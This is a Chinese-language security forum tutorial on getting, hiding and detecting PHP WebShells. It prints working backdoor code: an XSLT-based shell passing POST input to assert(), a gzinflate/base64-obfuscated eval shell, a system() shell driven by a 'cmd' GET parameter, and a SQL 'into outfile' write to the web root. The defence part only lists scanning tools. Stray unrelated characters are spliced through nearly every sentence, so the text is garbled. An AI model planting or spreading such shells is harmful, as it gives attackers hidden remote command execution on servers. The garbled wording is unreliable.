來(lái)源:http://bbs.ichunqiu.com/thread-8907-1-1.html?from=ch
作者:zusheng
社區(qū):i春秋
時(shí)間:2016年7月29日15:04:21
前言
WebShell就是以asp羔飞、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境韭寸,也可以將其稱做為一種網(wǎng)頁(yè)后門翰萨。本篇文章將帶大家學(xué)習(xí)如何獲取WebShell,如何隱藏WebShell,有攻必有防,最后帶大家學(xué)習(xí)查殺WebShell勤揩。
目錄
第一節(jié) CMS獲取WebShell
第二節(jié) 非CMS獲取WebShell
第三節(jié) 基于xslt轉(zhuǎn)換的WebShell
第四節(jié) 代碼混淆隱藏WebShell
第五節(jié) 防御篇-查殺WebShell
正文
第一節(jié) CMS獲取WebShell
1.1、什么是CMS遣疯?
CMS是Content Management System的縮寫雄可,意為"內(nèi)容管理系統(tǒng)"。 內(nèi)容管理系統(tǒng)是企業(yè)信息化建設(shè)和電子政務(wù)的新寵缠犀,也是一個(gè)相對(duì)較新的市場(chǎng)。對(duì)于內(nèi)容管理聪舒,業(yè)界還沒(méi)有一個(gè)統(tǒng)一的定義辨液,不同的機(jī)構(gòu)有不同的理解。
1.2箱残、常見(jiàn)的CMS有哪些滔迈?
asp平臺(tái):動(dòng)易CMS、創(chuàng)力CMS被辑、科汛CMS燎悍、新云CMS;
php平臺(tái):phpcms盼理、織夢(mèng)CMS谈山、帝國(guó)CMS、php168 CMS宏怔;
ASP.NET平臺(tái):Zoomla!逐浪CMS奏路、動(dòng)易CMS、風(fēng)訊CMS臊诊、We7 CMS鸽粉;
1.3、CMS獲取WebShell方法
公開(kāi)漏洞途徑:以PHPCMS為例:
我們可以利用搜索引擎來(lái)查找互聯(lián)網(wǎng)上公開(kāi)的通用漏洞抓艳,如果目標(biāo)站點(diǎn)并沒(méi)有進(jìn)行修復(fù)触机,即可輕松獲取WebShell。
代碼審計(jì)途徑:
有很多CMS其實(shí)是開(kāi)源的,我們可以在官網(wǎng)下載到源碼儡首,然后進(jìn)行代碼審計(jì)销斟,自己挖掘漏洞, 來(lái)獲取WebShell椒舵。關(guān)于代碼審計(jì)的教程篇幅太長(zhǎng)蚂踊,這里就不做更多介紹,我會(huì)單獨(dú)寫一篇系列文章進(jìn)行講解笔宿。
第二節(jié) 非CMS獲取WebShell
2.1犁钟、上傳漏洞獲取WebShell
文件上傳漏洞主要有以下幾種情況:
MIME類型繞過(guò)漏洞
文件擴(kuò)展名繞過(guò)漏洞
文件內(nèi)容檢測(cè)繞過(guò)類上傳漏洞
空字節(jié)截?cái)嗄夸浡窂綑z測(cè)繞過(guò)類上傳漏洞
解析導(dǎo)致的文件上傳漏洞:
IIS6.0站上的目錄路徑檢測(cè)解析繞過(guò)上傳漏洞
Apache站上的解析缺陷繞過(guò)上傳漏洞
htaccess文件上傳解析漏洞
還有一些編輯器存在漏洞導(dǎo)致的文件上傳,比如FCK編輯器泼橘。
具體請(qǐng)看i春秋學(xué)院視頻涝动,還可以做實(shí)驗(yàn),鏈接如下:
2.2炬灭、SQL注入獲取WebShell
利用SQL注入攻擊獲取WebShell其實(shí)就是在向服務(wù)器寫文件醋粟。(注意:這里我們需要得到網(wǎng)站的絕對(duì)路徑)所有常用的關(guān)系數(shù)據(jù)庫(kù)管理系統(tǒng)(RDBMS)均包含內(nèi)置的向服務(wù)器文件系統(tǒng)寫文件的功能。
MySQL:
[SQL]純文本查看復(fù)制代碼
1
selectintooutfile(dumpfile)? //MySQL寫文件命令
例如:
[SQL]純文本查看復(fù)制代碼
1
select""intooutfile"F:\\www\\test.php";
那么其它關(guān)系數(shù)據(jù)庫(kù)管理系統(tǒng)同樣的原理寫文件重归,就不在過(guò)多介紹了米愿。
2.3、數(shù)據(jù)庫(kù)備份獲取WebShell
利用數(shù)據(jù)庫(kù)備份獲取WebShell鼻吮,恰好i春秋有相關(guān)的實(shí)驗(yàn)育苟,我也發(fā)過(guò)相關(guān)的教程,這里就不介紹了椎木,大家去看看吧违柏,第三步就是利用數(shù)據(jù)庫(kù)備份拿WebShell。
2015中國(guó)網(wǎng)絡(luò)安全大賽:越權(quán)訪問(wèn)真題
配套實(shí)驗(yàn)地址:(進(jìn)去后選擇越權(quán)訪問(wèn)點(diǎn)擊START就行了)
第三節(jié)基于xslt轉(zhuǎn)換的WebShell
3.1香椎、什么是xslt漱竖?
在了解什么是xslt之前,我們需要先了解什么是xsl畜伐,XSL是可擴(kuò)展樣式表語(yǔ)言的外語(yǔ)縮寫馍惹,是一種用于以可讀格式呈現(xiàn) XML(標(biāo)準(zhǔn)通用標(biāo)記語(yǔ)言的子集)數(shù)據(jù)的語(yǔ)言。
XSL - 不僅僅是樣式表語(yǔ)言
XSL 包括三部分:
XSLT - 一種用于轉(zhuǎn)換 XML 文檔的語(yǔ)言烤礁。
XPath - 一種用于在 XML 文檔中導(dǎo)航的語(yǔ)言讼积。
XSL-FO - 一種用于格式化 XML 文檔的語(yǔ)言。
那么看到這里相信大家已經(jīng)了解到xslt是xsl的一部分脚仔。
3.2勤众、在PHP下基于xslt轉(zhuǎn)換來(lái)隱藏WebShell
怎么在php下使用xsl呢?我教大家的都是可以自己學(xué)習(xí)的方法鲤脏,既然要使用php们颜,我們肯定要去看php的官方手冊(cè)吕朵,我們?nèi)ニ阉鱴sl
定位到XSLTProcessor類,可以發(fā)現(xiàn)registerPHPFunctions方法窥突,如果你根本不懂這些方法努溃,不要緊,看后面的英文介紹阻问,如果你說(shuō)你不懂英文梧税,不要緊啊,不有g(shù)oogle翻譯称近,拿去翻譯一下
[AppleScript]純文本查看復(fù)制代碼
1
Enablestheabilitytouse PHP functionsasXSLT functions
我們點(diǎn)進(jìn)去第队,可以發(fā)現(xiàn)里面有事例,很簡(jiǎn)單刨秆,建議大家去看看啊凳谦。PHP手冊(cè)地址見(jiàn)下面的參考資料
我們先來(lái)看看官方事例:
[XSLT]純文本查看復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">????????? //這個(gè)命名空間URI表示php專用的xsl函數(shù)支持
Users
select="php:function('ucfirst',string(uid))"/>???? //php:function('assert',string(.))表示將匹配節(jié)點(diǎn)的文本作為參數(shù)傳遞給php的assert函數(shù)。
那么搞懂了以上這些知識(shí)衡未,那就很簡(jiǎn)單了尸执。
為了避免xml的轉(zhuǎn)義問(wèn)題,進(jìn)行一次assert嵌套缓醋,最終WebShell如下:
[XSLT]純文本查看復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
$xml='assert($_POST[zusheng]);';
$xsl='
http://www.w3.org/1999/XSL/Transform"xmlns:icq="http://php.net/xsl">
';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?>
可以直接用菜刀連接:(密碼:zusheng)
參考資料:
PHP官方手冊(cè):http://php.net/manual/zh/
第四節(jié) 代碼混淆隱藏WebShell
代碼混淆隱藏WebShell也就是通過(guò)編碼和壓縮惡意代碼的方式來(lái)隱藏WebShell如失。
這里我們使用gzinflate+Base64加密,來(lái)隱藏WebShell改衩。
[PHP]純文本查看復(fù)制代碼
1
2
3
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>
可以直接用菜刀連接:(密碼:zusheng)
第五節(jié) 防御篇-查殺WebShell
5.1岖常、WebShell的分類
5.2、安全工具
D盾:
下載地址:免費(fèi)下載
360主機(jī)衛(wèi)士:
提供在線監(jiān)測(cè)葫督,把網(wǎng)站打包成zip上傳就行了
http://zhuji.#/backdoor
小實(shí)驗(yàn)
學(xué)完上述知識(shí),大家是不是想動(dòng)手來(lái)試試了呢板惑,來(lái)個(gè)小實(shí)驗(yàn)橄镜。
我們先新建一個(gè)php文件
文件內(nèi)容如下:
[PHP]純文本查看復(fù)制代碼
1
2
3
4
5
6
if(isset($_GET["cmd"]))
{
array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
}
?>
使用gzinflate+Base64加密,來(lái)隱藏WebShell冯乘。
使之能正常運(yùn)行洽胶。
結(jié)束語(yǔ)
作為一名黑客,在你取得成功的問(wèn)題上沒(méi)有什么訣竅可尋裆馒,只有你越努力工作姊氓,你才能越接近成功。